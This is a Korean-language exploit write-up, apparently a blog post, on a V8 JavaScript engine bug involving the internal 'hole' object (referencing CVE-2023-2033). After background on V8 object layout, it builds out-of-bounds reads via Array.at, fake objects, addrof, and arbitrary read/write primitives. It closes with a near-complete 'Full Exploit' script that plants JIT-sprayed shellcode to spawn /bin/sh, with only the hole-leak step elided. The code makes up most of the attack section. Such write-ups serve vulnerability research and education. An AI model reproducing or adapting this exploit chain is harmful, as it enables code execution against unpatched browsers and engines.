Prerequisite Knowledge
Hole Object
V8
에서hole
은 빈 공간을 나타내는 객체로써,oddball type
으로 사용자가 직접 컨트롤할 수 없는 객체입니다.
/* v8/src/compiler/js-call-reducer.cc */
// The contract is that we don't leak "the hole" into "user JavaScript",
// so we must rename the {element} here to explicitly exclude "the hole"
// from the type of {element}.
- 만약
hole
객체에 접근하게 된다면 사용자는undefined
로 변환된 데이터만 확인할 수 있습니다.
d8> %DebugPrint(%TheHole())
DebugPrint: 0x193200002459: [Oddball] in ReadOnlySpace: #hole
0x193200002431: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x1932000023e1 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x1932000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x193200002261 <null>
- constructor: 0x193200002261 <null>
- dependent code: 0x1932000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
Pointer Compression
- 2020년 초부터 적용된 기법으로 속도 성능향상을 목적으로, 64bit address를 모두 저장하는 게 아니라 하위 32bit 주소와 base address를 조합해 주소를 사용하고 있습니다.
let arr1 = [1.1, 2.2, 3.3, 4.4];
% DebugPrint(arr1);
Object structure
let arr1 = [1.1, 2.2, 3.3, 4.4];
% DebugPrint(arr1);
DebugPrint: 0x13980010a7ad: [JSArray]
- map: 0x13980024e699 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x13980024e115 <JSArray[0]>
- elements: 0x13980010a785 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]
- length: 4
- properties: 0x139800002259 <FixedArray[0]>
- All own properties (excluding elements): {
0x139800006551: [String] in ReadOnlySpace: #length: 0x139800204255 <AccessorInfo name= 0x139800006551 <String[6]: #length>, data= 0x1398000023e1 <undefined>> (const accessor descriptor), location: descriptor
}
- elements: 0x13980010a785 <FixedDoubleArray[4]> {
0: 1.1
1: 2.2
2: 3.3
3: 4.4
}
0x13980024e699: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x13980024e659 <Map[16](HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x1398002043cd <Cell value= 1>
- instance descriptors #1: 0x13980024e625 <DescriptorArray[1]>
- transitions #1: 0x13980024e6c1 <TransitionArray[4]>Transition array #1:
0x1398000071fd <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x13980024e6d9 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x13980024e115 <JSArray[0]>
- constructor: 0x13980024de55 <JSFunction Array (sfi = 0x13980021ef89)>
- dependent code: 0x1398000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
- Map (또는 Hidden Class)
- 객체의 구조를 나타냅니다.
- 객체의 속성 순서, 속성의 타입, 프로토타입 등과 같은 메타데이터를 포함합니다.
- 객체가 생성될 때 초기화되며, 객체의 구조가 변경될 때 (예: 속성 추가/제거) 새로운 Map으로 업데이트됩니다.
- 동일한 구조의 객체는 동일한 Map을 공유하여 메모리를 절약하고 속도를 높입니다.
- Prototype
- 객체가 상속받는 부모 객체입니다.
- 객체의 메서드나 속성을 찾을 때, 해당 객체에 없으면 프로토타입 체인을 따라 상위 프로토타입에서 찾게 됩니다.
- 모든 객체는
Object.prototype
을 최상위 프로토타입으로 가집니다.
- Elements
- 배열과 같은 객체의 순서 있는 속성값을 저장하는 배열입니다.
- 숫자 인덱스를 사용하여 접근합니다.
- 다양한 종류의 Elements가 있으며, 최적화를 위해 특정 상황에 맞는 Elements 타입을 선택합니다 (예: packed elements, holey elements).
- Properties
- 객체의 속성을 저장하는 딕셔너리 또는 배열입니다.
- 이름(문자열)을 키로 사용하여 속성값을 저장합니다.
- 속성의 순서는 Map에 저장됩니다.
- Length
- 배열의 길이를 나타냅니다.
- 배열의 최대 인덱스보다 항상 크거나 같습니다.
SMI
- SMall Integer로 v8에서는 32bit 중 31bit만 사용 가능합니다. 1bit는 flag로 사용됩니다.(31bit<<1n 연산)
Hole Exploit
OOB
optimized JSToNumberConvertBigInt If Range
if 구문
의 반목문을 최적화하는 과정은simplified-lowering.cc
에서 이루어집니다.- 각 과정이
true
일 경우와false
일 경우를 만들고merge
를 통해 나올 수 있는 경우의 수를 구하고 최적화를 하게 됩니다. - 예를 들어
Number if 구문
의 결과가undefined일 경우와 -1
일 경우를 보겠습니다.
function test(b) {
let index = Number(b ? the.undefined : -1);
index |= 0;
index += 1;
index *= 100
return index
}
for (i = 0; i < 11000; i++) {
test(true);
}
Typer 단계
에서Number
에 대한 최적화가 이루어집니다. 위의 코드 최적화 과정을 보겠습니다.Undefined(Oddball)
를Number
할 경우NaN
과False
일 경우-1
로 분기하게 되며, 2개를merge 하여
하나로 합친node
를 만들게 됩니다.
- 결과적으로
index
는0 또는 100
이 될 수 있으며 그 값에 대한 범위 최적화가 이루어지게 됩니다.
- 최적화 과정에
debuging print
를 확인해 보겠습니다.
// operation-typer.cc
Type OperationTyper::ToNumber(Type type) {
printf("\nOperationTyper::ToNumber\n");
type.Print();
if (type.Is(Type::Number())) return type;
// If {type} includes any receivers, we cannot tell what kind of
// Number their callbacks might produce. Similarly in the case
// where {type} includes String, it's not possible at this point
// to tell which exact numbers are going to be produced.
if (type.Maybe(Type::StringOrReceiver())) return Type::Number();
// Both Symbol and BigInt primitives will cause exceptions
// to be thrown from ToNumber conversions, so they don't
// contribute to the resulting type anyways.
type = Type::Intersect(type, Type::PlainPrimitive(), zone());
// This leaves us with Number\/Oddball, so deal with the individual
// Oddball primitives below.
DCHECK(type.Is(Type::NumberOrOddball()));
if (type.Maybe(Type::Null())) {
// ToNumber(null) => +0
type = Type::Union(type, cache_->kSingletonZero, zone());
}
if (type.Maybe(Type::Undefined())) {
// ToNumber(undefined) => NaN
type = Type::Union(type, Type::NaN(), zone());
}
if (type.Maybe(singleton_false_)) {
// ToNumber(false) => +0
type = Type::Union(type, cache_->kSingletonZero, zone());
}
if (type.Maybe(singleton_true_)) {
// ToNumber(true) => +1
type = Type::Union(type, cache_->kSingletonOne, zone());
}
printf("\nlast type\n");
type.Print();
return Type::Intersect(type, Type::Number(), zone());
}
OperationTyper::ToNumber
Undefined
last type
(NaN | Undefined)
Undefined
가NaN
으로 변하는 것을 확인할 수 있습니다.
Hole
일 경우를 살펴보면Undefined
와 마찬가지로Hole | -1
을 최적화하게 됩니다.
function test(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
index *= 100
return index
}
for (i = 0; i < 11000; i++) {
test(true);
}
- 하지만
JSToNumberConverBigInt
로 오는 값은-1
만 있게 된다고 최적화하게 됩니다. 그 이유는Number
최적화 과정에서Hole type
을 처리하는 루틴이 없기 때문입니다.
OperationTyper::ToNumber
None
Why use at method
0
이라고 최적화된index
를 배열에 접근할 때arr []가
아닌arr.at()
을 사용해야 합니다.
function test(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr = [1.1, 2.2, 3.3, 4.4];
let p = arr[index*4];
// let p = arr.at(index*4);
return [p, arr]
}
Typer
단계에서arr []를
사용하게 되면index(0)*4 = 0
이라고 최적화되지만 arr의 범위를 체크하는 checkbound가 생깁니다.
- 2019년 이전에는
simplified 단계
에서 접근하는index
의 범위가arr의 length
보다 작다면checkbound
를 삭제시켰지만 2019년 이후CheckUint32 Bounds로
남겨 확인하도록 패치되었기 때문입니다.
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index 8dbb7d9..18c930f 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -1566,6 +1566,8 @@
VisitBinop(node, UseInfo::TruncatingWord32(),
MachineRepresentation::kWord32);
if (lower()) {
+ CheckBoundsParameters::Mode mode =
+ CheckBoundsParameters::kDeoptOnOutOfBounds;
if (lowering->poisoning_level_ ==
PoisoningMitigationLevel::kDontPoison &&
(index_type.IsNone() || length_type.IsNone() ||
@@ -1573,11 +1575,10 @@
index_type.Max() < length_type.Min()))) {
// The bounds check is redundant if we already know that
// the index is within the bounds of [0.0, length[.
- DeferReplacement(node, node->InputAt(0));
- } else {
- NodeProperties::ChangeOp(
- node, simplified()->CheckedUint32Bounds(p.feedback()));
+ mode = CheckBoundsParameters::kAbortOnOutOfBounds;
}
+ NodeProperties::ChangeOp(
+ node, simplified()->CheckedUint32Bounds(p.feedback(), mode));
}
} else {
VisitBinop(
@@ -1586,7 +1587,9 @@
UseInfo::TruncatingWord32(), MachineRepresentation::kWord32);
if (lower()) {
NodeProperties::ChangeOp(
- node, simplified()->CheckedUint32Bounds(p.feedback()));
+ node,
+ simplified()->CheckedUint32Bounds(
+ p.feedback(), CheckBoundsParameters::kDeoptOnOutOfBounds));
}
}
} else {
- 하지만 at method는 arr의 length가 작을 경우 범위를 참조하지 않게 되기 때문입니다.
//js-call-reducer.cc
TNode<Object> IteratingArrayBuiltinReducerAssembler::ReduceArrayPrototypeAt(
// ...
// Bound checking.
GotoIf(NumberLessThan(real_index_num, ZeroConstant()), &out,
UndefinedConstant());
GotoIfNot(NumberLessThan(real_index_num, length), &out,
UndefinedConstant());
// ...
}
Bound check
과정에서index
보다 적을 경우 그냥 처리하는 코드가 들어있습니다.
Helper Function
const FIXED_ARRAY_HEADER_SIZE = 8n; // array fixed header size 8byte
var arr_buf = new ArrayBuffer(8); // shared buffer
var f64_arr = new Float64Array(arr_buf); // buffer for float
var b64_arr = new BigInt64Array(arr_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f64_arr[0] = f;
return b64_arr[0];
}
// convert bigint to float
function itof(i) {
b64_arr[0] = i;
return f64_arr[0];
}
// convert smi to origin
function smi(i) {
return i << 1n;
}
//scavenge
function gc_minor() {
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
//mark-sweep
function gc_major() {
new ArrayBuffer(0x7fe00000);
}
// print integer as hex
function hex(i) {
console.log('0x' + i.toString(16));
}
Primitive
const the = { hole: leak_hole() };
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); // change array type to HOLEY_DOUBLE_ELEMENTS_MAP
var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;
var packed_dbl_map = null;
var packed_dbl_props = null;
var packed_map = null;
var packed_props = null;
function leak_stuff(b) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index*4); // arr1 map & props
let packed_double_elements_and_len = arr1.at(index*5); // arr1 elements & len
let packed_map_and_props = arr1.at(index*8); // arr2 map & props
let packed_elements_and_len = arr1.at(index*9); // arr2 elements & len
let fixed_arr_map = arr1.at(index*6); // arr2_elements map(fixed_arr)
let large_arr_addr = arr1.at(index*7); // arr2 elements value
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
- OOB가 가능하기 때문에 원하는 배열을 구성해 Object의 요소들의 주소를 얻을 수 있습니다.
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
arr1[4] = arr1 map & props
arr1[5] = arr1 elements & len
arr[6] = arr2_elements map(fixed_arr)
arr[7] = arr2 value
arr[8] = arr2 map & props
arr[9] = arr2 elements & len
function weak_fake_obj(b, addr = 1.1) {
if (b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0x1337, {}]
let arr2 = [addr, 2.2, 3.3, 4.4];
let fake_obj = arr1.at(index * 8);
return [
fake_obj,
arr1, arr2
];
}
return 0;
}
- addr에 들어온 주소를 fake object로 반환합니다.
function install_primitives() {
/* opt */
for (let i = 0; i < 2000; i++) {
weak_fake_obj(false, 1.1);
}
for (let i = 0; i < 2000; i++) {
weak_fake_obj(true, 1.1);
}
for(let i = 0; i < 11000; i++) {
leak_stuff(false);
}
for(i = 0; i < 11000; i++) {
leak_stuff(true);
}
gc_minor();
let leaks = leak_stuff(true);
/* pointer compression isolation (32bit + 32bit) */
let packed_double_map_and_props = ftoi(leaks[0]); // arr1 map & props
packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
packed_dbl_props = packed_double_map_and_props >> 32n;
let packed_double_elements_and_len = ftoi(leaks[1]); // arr1 elements & len
let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
let packed_map_and_props = ftoi(leaks[2]); // arr2 map & props
packed_map = packed_map_and_props & 0xFFFFFFFFn;
packed_props = packed_map_and_props >> 32n;
let packed_elements_and_len = ftoi(leaks[3]); // arr2 elements & len
let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn; // arr2_elements map(fixed_arr)
let large_arr_addr = ftoi(leaks[5]) >> 32n; // arr2 elements value(0x1337, large_arr)
// ...
}
Fake Object
// ...
/* fake object create */
let dbl_arr = leaks[6]; // arr1
// create tmp_fake object
dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n)); // arr1[0] = map | props
dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n)); // arr1[1] = elements | len
let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE) | 1n; // arr1[0] address
let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
// fake_object args address
let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn; // large_arr_elements
fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE; // large_arr[0]
fake_arr_elements_addr = fake_arr_addr + 16n; // large_arr[2]
// create fake object
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));
fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
temp_fake_arr = null;
//...
addrof
fake_arr
를 이용해서 원하는object
의 주소를 구합니다.
function addrof(obj) {
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
- Debug large_arr info
0x2bed0024e719: [Map] in OldSpace
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x2bed0024e6d9 <Map[16](HOLEY_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x2bed002043cd <Cell value= 1>
- instance descriptors #1: 0x2bed0024e625 <DescriptorArray[1]>
- transitions #1: 0x2bed0024e741 <TransitionArray[4]>Transition array #1:
0x2bed000071fd <Symbol: (elements_transition_symbol)>: (transition to HOLEY_ELEMENTS) -> 0x2bed0024e759 <Map[16](HOLEY_ELEMENTS)>
- prototype: 0x2bed0024e115 <JSArray[0]>
- constructor: 0x2bed0024de55 <JSFunction Array (sfi = 0x2bed0021ef89)>
- dependent code: 0x2bed000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
- 위 그림에서와 같이
fake_arr[0] = large_arr[3]
으로,fake_arr[0]=obj
를 넣고large_arr[3]
으로 주소를 구합니다.
aar
fake_arr
의elements
로 값을 구하고 싶은 주소로 변경하고fake_arr[0]
으로 값을 읽어 반환합니다.
function aar(addr) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
let result = ftoi(fake_arr[0]);
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
aaw
fake_arr
의elements
로 값을 변경하고 싶은 주소로 변경하고fake_arr[0]
에 값을 덮어씌웁니다.
function aaw(addr, value) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
fake_arr[0] = itof(value);
large_arr[1] = itof(0n | (smi(0n) << 32n));
}
Shellcode Execute Protect Bypass
- 이전에는
WebAssembly
의RWX
공간을 이용해shellcode
를 실행하였습니다. 그러나 패치로 인해X
권한이 없어졌으므로 기존 방식을 사용할 수 없게 됐습니다. javascript
함수를 실행할 때code+0xb
의 주소로 점프하여 함수를 실행하게 됩니다.
function f() {
a =[1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(f);
f();
%OptimizeFunctionOnNextCall(f);
f();
%DebugPrint(f);
- 이제 함수 내부 실행을 확인해 보면 배열이 할당되는 것을 확인할 수 있습니다.
- 여기서 쓰인 메모리는 실행 가능 권한으로, 실행가능한 메모리에 8byte 쉘코드를 삽입 가능합니다.
- 이제 원하는
shellcode
를 jmp로 연결시켜 주면 실행가능 권한이 있는 메모리에 shell을 할당할 수 있습니다.
특히,f()
함수를 최적화시켜야 상수들이 Code에Inline
으로 들어가 원하는 값을 할당할 수 있습니다.
function f() {
return [1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
% PrepareFunctionForOptimization(f);
f();
% OptimizeFunctionOnNextCall(f);
f();
% DebugPrint(f);
Full Exploit
- ENV
OS : Ubuntu 22.04, Windows 7~11
V8 Version : 10.9.194.10
Options : --no-sandbox
/* ubuntu.js */
const FIXED_ARRAY_HEADER_SIZE = 8n; // array fixed header size 8byte
var arr_buf = new ArrayBuffer(8); // shared buffer
var f64_arr = new Float64Array(arr_buf); // buffer for float
var b64_arr = new BigInt64Array(arr_buf); // buffer for bigint
// convert float to bigint
function ftoi(f) {
f64_arr[0] = f;
return b64_arr[0];
}
// convert bigint to float
function itof(i) {
b64_arr[0] = i;
return f64_arr[0];
}
// convert smi to origin
function smi(i) {
return i << 1n;
}
//scavenge
function gc_minor() {
for(let i = 0; i < 1000; i++) {
new ArrayBuffer(0x10000);
}
}
//mark-sweep
function gc_major() {
new ArrayBuffer(0x7fe00000);
}
// print integer as hex
function hex(i) {
console.log('0x' + i.toString(16));
}
/* leak hole */
/*
...
*/
const the = { hole: leak_hole() };
/* primitives */
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n));
var fake_arr = null;
var fake_arr_addr = null;
var fake_arr_elements_addr = null;
var packed_dbl_map = null;
var packed_dbl_props = null;
var packed_map = null;
var packed_props = null;
function leak_stuff(b) {
if (b)
{
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index * 4);
let packed_double_elements_and_len = arr1.at(index * 5);
let packed_map_and_props = arr1.at(index * 8);
let packed_elements_and_len = arr1.at(index * 9);
let fixed_arr_map = arr1.at(index * 6);
let large_arr_addr = arr1.at(index * 7);
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
function weak_fake_obj(b, addr = 1.1) {
if (b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [0x1337, {}]
let arr2 = [addr, 2.2, 3.3, 4.4];
let fake_obj = arr1.at(index * 8);
return [
fake_obj,
arr1, arr2
];
}
return 0;
}
function addrof(obj) {
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(1n) << 32n));
fake_arr[0] = obj;
let result = ftoi(large_arr[3]) & 0xFFFFFFFFn;
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function aar(addr) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
let result = ftoi(fake_arr[0]);
large_arr[1] = itof(0n | (smi(0n) << 32n));
return result;
}
function aaw(addr, value) {
addr -= FIXED_ARRAY_HEADER_SIZE;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof((addr | 1n) | (smi(1n) << 32n));
fake_arr[0] = itof(value);
large_arr[1] = itof(0n | (smi(0n) << 32n));
}
function install_primitives() {
for (let i = 0; i < 2000; i++) {
weak_fake_obj(false, 1.1);
}
for (let i = 0; i < 2000; i++) {
weak_fake_obj(true, 1.1);
}
for (let i = 0; i < 11000; i++) {
leak_stuff(false);
}
for (i = 0; i < 11000; i++) {
leak_stuff(true);
}
gc_minor();
let leaks = leak_stuff(true);
let packed_double_map_and_props = ftoi(leaks[0]);
packed_dbl_map = packed_double_map_and_props & 0xFFFFFFFFn;
packed_dbl_props = packed_double_map_and_props >> 32n;
let packed_double_elements_and_len = ftoi(leaks[1]);
let packed_dbl_elements = packed_double_elements_and_len & 0xFFFFFFFFn;
let packed_map_and_props = ftoi(leaks[2]);
packed_map = packed_map_and_props & 0xFFFFFFFFn;
packed_props = packed_map_and_props >> 32n;
let packed_elements_and_len = ftoi(leaks[3]);
let packed_elements = packed_elements_and_len & 0xFFFFFFFFn;
let fixed_arr_map = ftoi(leaks[4]) & 0xFFFFFFFFn;
let large_arr_addr = ftoi(leaks[5]) >> 32n;
/* create fake object */
let dbl_arr = leaks[6];
dbl_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
dbl_arr[1] = itof(((large_arr_addr + 8n) - FIXED_ARRAY_HEADER_SIZE) | (smi(1n) << 32n));
let temp_fake_arr_addr = (packed_dbl_elements + FIXED_ARRAY_HEADER_SIZE) | 1n;
let temp_fake_arr = weak_fake_obj(true, itof(temp_fake_arr_addr));
let large_arr_elements_addr = ftoi(temp_fake_arr[0]) & 0xFFFFFFFFn;
fake_arr_addr = large_arr_elements_addr + FIXED_ARRAY_HEADER_SIZE;
fake_arr_elements_addr = fake_arr_addr + 16n;
large_arr[0] = itof(packed_dbl_map | (packed_dbl_props << 32n));
large_arr[1] = itof(fake_arr_elements_addr | (smi(0n) << 32n));
large_arr[2] = itof(fixed_arr_map | (smi(0n) << 32n));
fake_arr = weak_fake_obj(true, itof(fake_arr_addr))[0];
temp_fake_arr = null;
}
do {
install_primitives();
} while (!packed_dbl_map);
/* execute shellcode */
let shellcode = [0xceb586e69622f68n,
0xceb5b0068732f68n,
0xceb909020e3c148n,
0xceb909050d80148n,
0xceb909090e78948n,
0xceb903bb0c03148n,
0x50fd23148f63148n]; // execve("/bin/sh", 0, 0)
const f = () => {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x10000; i++) { f(); f(); f(); f(); }
let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
let inst = aar(code + 0xcn) + 0x60n;
aaw(code + 0xcn, inst);
f();
Reference
https://github.com/mistymntncop/CVE-2023-2033